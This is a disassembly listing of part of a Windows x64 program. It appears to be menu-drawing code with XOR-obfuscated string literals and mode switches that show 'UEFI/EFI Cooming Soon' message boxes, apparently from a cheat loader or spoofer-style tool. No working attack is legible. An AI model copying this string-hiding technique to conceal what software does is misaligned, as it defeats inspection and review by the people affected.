mov r9d, eax
lea r8, [rbp + 0x3d8]
lea rdx, [rbp + 0x3d0]
mov rcx, rbx
call fcn.140023a40
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7aca6d393c2c02d9
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10a0], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10a8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10b0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10b8], rax
movdqa xmm0, xmmword [rbp + 0x10b0]
xorps xmm0, xmmword [rbp + 0x10a0]
movdqa xmmword [rbp + 0x10a0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x10c0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e114]
movss xmm1, dword [0x14014e13c]
lea rcx, [rbp + 0x3e0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x10a0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm2, dword [0x14014e000]
mov rdx, qword [0x14038e850]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a9f376971083ad6
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10d0], rcx
movabs rax, 0xabe13b9d15958305
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10d8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10e0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10e8], rax
movdqa xmm0, xmmword [rbp + 0x10e0]
xorps xmm0, xmmword [rbp + 0x10d0]
movdqa xmmword [rbp + 0x10d0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xc8
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x10f0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e120]
movss xmm1, dword [0x14014e13c]
lea rcx, [rbp + 0x3e8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x10d0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e850]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1f882c453c0530d6
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2560], rcx
movabs rax, 0xc2955af07cfb8b70
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2568], rcx
movabs rax, 0xce5c620a591a45ee
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2570], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2578], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2580], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2588], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2590], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2598], rax
vmovdqu ymm0, ymmword [rbp + 0x2560]
vpxor ymm1, ymm0, ymmword [rbp + 0x2580]
vmovdqa ymmword [rbp + 0x2560], ymm1
mov dword [rsp + 0x20], 0xff
mov edx, 0xc8
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1100]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e130]
movss xmm1, dword [0x14014e13c]
lea rcx, [rbp + 0x3f0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x2560]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm2, dword [0x14014dffc]
mov rdx, qword [0x14038e868]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a9e2666720038c7
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1110], rcx
movabs rax, 0xab925efa7bf4a213
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1118], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1120], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1128], rax
movdqa xmm0, xmmword [rbp + 0x1120]
xorps xmm0, xmmword [rbp + 0x1110]
movdqa xmmword [rbp + 0x1110], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xc8
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1130]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm0, dword [0x14014e13c]
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x3f8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1110]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm2, dword [0x14014dffc]
mov rdx, qword [0x14038e850]
mov rcx, rdi
call fcn.140023de0
jmp 0x14004a5dc
movss xmm6, dword [0x14014e010]
movss xmm7, dword [0x14014e00c]
movabs r15, 0x7afa43081c615497
cmp dword [0x14038e7a0], 4
jne 0x14004bc6f
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WS2_32.dll_recv
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1140]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [0x14014e164]
movss xmm1, dword [0x14014e06c]
lea rcx, [rbp + 0x400]
call fcn.1400014d0
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x408]
call fcn.1400014d0
mov dword [rsp + 0x28], r14d
movss dword [rsp + 0x20], xmm14
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023b20
movss xmm0, dword [0x14014e034]
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x410]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
mov rcx, qword [rbp + 0x210]
call fcn.140012420
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x418]
call fcn.1400014d0
cmp dword [0x14038e7a0], 3
sete cl
mov r8, rax
lea rdx, [0x140147738]
call fcn.140032fc0
test al, al
je 0x14004a6d8
mov dword [0x14038e7a0], 3
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x420]
call fcn.1400014d0
cmp dword [0x14038e7a0], 4
sete cl
mov r8, rax
lea rdx, [0x14014773c]
call fcn.140032fc0
test al, al
je 0x14004a713
mov dword [0x14038e7a0], 4
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x428]
call fcn.1400014d0
cmp dword [0x14038e7a0], 5
sete cl
mov r8, rax
lea rdx, [0x140147740]
call fcn.140032fc0
test al, al
je 0x14004a74e
mov dword [0x14038e7a0], 5
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x430]
call fcn.1400014d0
cmp dword [0x14038e7a0], 6
sete cl
mov r8, rax
lea rdx, [0x140147744]
call fcn.140032fc0
test al, al
je 0x14004a789
mov dword [0x14038e7a0], 6
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x438]
call fcn.1400014d0
cmp dword [0x14038e7a0], 7
sete cl
mov r8, rax
lea rdx, [0x140147748]
call fcn.140032fc0
test al, al
je 0x14004a7c4
mov dword [0x14038e7a0], 7
call fcn.1400124c0
call fcn.140016b70
movss xmm2, dword [0x14014e028]
movss xmm1, dword [0x14014e084]
lea rcx, [rbp + 0x440]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x448]
call fcn.1400014d0
mov r8, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa2f6971133bd9
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1150], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1158], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1160], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1168], rax
movdqa xmm0, xmmword [rbp + 0x1160]
xorps xmm0, xmmword [rbp + 0x1150]
movdqa xmmword [rbp + 0x1150], xmm0
cmp dword [0x14038e7a0], 4
sete cl
xor r9d, r9d
lea rdx, [rbp + 0x1150]
call fcn.140036120
test al, al
je 0x14004a898
mov dword [0x14038e7a0], 4
movss xmm1, dword [0x14014e18c]
movaps xmm0, xmm14
call fcn.140016670
movss xmm1, dword [0x14014e18c]
movaps xmm0, xmm14
call fcn.140016670
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x450]
call fcn.1400014d0
mov r8, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa4308552711c2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1170], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1178], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1180], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1188], rax
movdqa xmm0, xmmword [rbp + 0x1180]
xorps xmm0, xmmword [rbp + 0x1170]
movdqa xmmword [rbp + 0x1170], xmm0
cmp dword [0x14038e7a0], 8
sete cl
xor r9d, r9d
lea rdx, [rbp + 0x1170]
call fcn.140036120
test al, al
je 0x14004a972
mov r9d, 0x30
lea r8, str.Comming_Soon_
lea rdx, str.UEFI_Cooming_Soon_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movss xmm1, dword [0x14014e18c]
movaps xmm0, xmm14
call fcn.140016670
movss xmm1, dword [0x14014e18c]
movaps xmm0, xmm14
call fcn.140016670
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x458]
call fcn.1400014d0
mov r8, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa43081c2812d2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1190], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1198], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11a0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11a8], rax
movdqa xmm0, xmmword [rbp + 0x11a0]
xorps xmm0, xmmword [rbp + 0x1190]
movdqa xmmword [rbp + 0x1190], xmm0
cmp dword [0x14038e7a0], 9
sete cl
xor r9d, r9d
lea rdx, [rbp + 0x1190]
call fcn.140036120
test al, al
je 0x14004aa4c
mov r9d, 0x30
lea r8, str.Comming_Soon_
lea rdx, str.EFI_Cooming_Soon_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x11b0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0b8]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e140]
lea rcx, [rbp + 0x460]
call fcn.1400014d0
mov rbx, rax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e054]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e07c]
lea rcx, [rbp + 0x468]
call fcn.1400014d0
movss xmm0, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023a40
movss xmm2, dword [0x14014e060]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x470]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5ac0307d680020c4
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x11c0], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x11c8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11d0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11d8], rax
movdqa xmm0, xmmword [rbp + 0x11d0]
xorps xmm0, xmmword [rbp + 0x11c0]
movdqa xmmword [rbp + 0x11c0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x11e0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e060]
movss xmm1, dword [0x14014e09c]
lea rcx, [rbp + 0x478]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x11c0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xe99267c79053ac2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x11f0], rcx
movabs rax, 0xabe13b9d1595ae35
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x11f8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1200], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1208], rax
movdqa xmm0, xmmword [rbp + 0x1200]
xorps xmm0, xmmword [rbp + 0x11f0]
movdqa xmmword [rbp + 0x11f0], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1210]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e060]
movss xmm1, dword [0x14014e0c4]
lea rcx, [rbp + 0x480]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x11f0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
mov rsi, qword [rbp + 0x178]
mov rcx, rsi
call fcn.140012420
movss xmm2, dword [0x14014e064]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x488]
call fcn.1400014d0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1220]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1230]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov qword [rsp + 0x20], rdi
movss xmm3, dword [0x14014e040]
mov r8d, ebx
mov edx, eax
lea rcx, [0x14014778c]
call fcn.140031f60
call fcn.1400124c0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1e8a1628681235db
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1240], rcx
movabs rax, 0xabe13bbd2ff0be31
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1248], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1250], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1258], rax
movdqa xmm0, xmmword [rbp + 0x1250]
xorps xmm0, xmmword [rbp + 0x1240]
movdqa xmmword [rbp + 0x1240], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1260]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e070]
movss xmm1, dword [0x14014e09c]
lea rcx, [rbp + 0x490]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1240]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x48ca712724507ba1
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1270], rcx
movabs rax, 0xabe13b9d1595ca64
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1278], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1280], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1288], rax
movdqa xmm0, xmmword [rbp + 0x1280]
xorps xmm0, xmmword [rbp + 0x1270]
movdqa xmmword [rbp + 0x1270], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1290]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e070]
movss xmm1, dword [0x14014e0e0]
lea rcx, [rbp + 0x498]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1270]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
mov rcx, rsi
call fcn.140012420
movss xmm2, dword [0x14014e074]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x4a0]
call fcn.1400014d0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x12a0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x12b0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov qword [rsp + 0x20], rdi
movss xmm3, dword [0x14014e040]
mov r8d, ebx
mov edx, eax
lea rcx, [0x14014778c]
call fcn.140031f60
call fcn.1400124c0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xfa9637b790c35d0
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x25a0], rcx
movabs rax, 0x91855ee967faba20
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x25a8], rcx
movabs rax, 0xce5c620a59692ba1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25b0], rax
movabs rcx, 0xf90d78d79683203a
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25b8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25c0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25c8], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25d0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25d8], rax
vmovdqu ymm0, ymmword [rbp + 0x25a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x25c0]
vmovdqa ymmword [rbp + 0x25a0], ymm1
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x12c0]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e08c]
movss xmm1, dword [0x14014e09c]
lea rcx, [rbp + 0x4a8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x25a0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1f97224f3c0d38d6
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x12d0], rcx
movabs rax, 0xabe13b9d1595ca23
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x12d8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12e0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12e8], rax
movdqa xmm0, xmmword [rbp + 0x12e0]
xorps xmm0, xmmword [rbp + 0x12d0]
movdqa xmmword [rbp + 0x12d0], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x12f0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e08c]
movss xmm1, dword [0x14014e104]
lea rcx, [rbp + 0x4b0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x12d0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
mov rcx, rsi
call fcn.140012420
movss xmm2, dword [0x14014e090]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x4b8]
call fcn.1400014d0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1300]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1310]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov qword [rsp + 0x20], rdi
movss xmm3, dword [0x14014e040]
mov r8d, ebx
mov edx, eax
lea rcx, [0x14014778c]
call fcn.140031f60
call fcn.1400124c0
mov rcx, rsi
call fcn.140012420
movss xmm2, dword [0x14014e090]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x4c0]
call fcn.1400014d0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1320]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1330]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov qword [rsp + 0x20], rdi
movss xmm3, dword [0x14014e040]
mov r8d, ebx
mov edx, eax
lea rcx, [0x14014778c]
call fcn.140031f60
call fcn.1400124c0
call fcn.140016b70
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x1340]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e140]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e140]
lea rcx, [rbp + 0x4c8]
call fcn.1400014d0
mov rbx, rax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0dc]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e07c]
lea rcx, [rbp + 0x4d0]
call fcn.1400014d0
movss xmm0, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023a40
movss xmm2, dword [0x14014e0ec]
movss xmm1, dword [0x14014e084]
lea rcx, [rbp + 0x4d8]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a8e3169681231c5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25e0], rax
movabs rax, 0xd9844ffb54b58900
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25e8], rax
movabs rax, 0xce5c0465361978a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25f0], rax
movabs rbx, 0xf90d78d79683203a
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25f8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2600], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2608], rax
movabs rdi, 0xce5c620a59692b81
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2610], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2618], rax
vmovdqu ymm0, ymmword [rbp + 0x25e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2600]
vmovdqa ymmword [rbp + 0x25e0], ymm1
lea rdx, [0x140387191]
lea rcx, [rbp + 0x25e0]
vzeroupper
call fcn.140032240
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x149305286b0e3cc4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2620], rax
movabs rax, 0xceac1bf970fdb939
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2628], rax
movabs rax, 0xce5c626f3e0858f2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2630], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2638], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
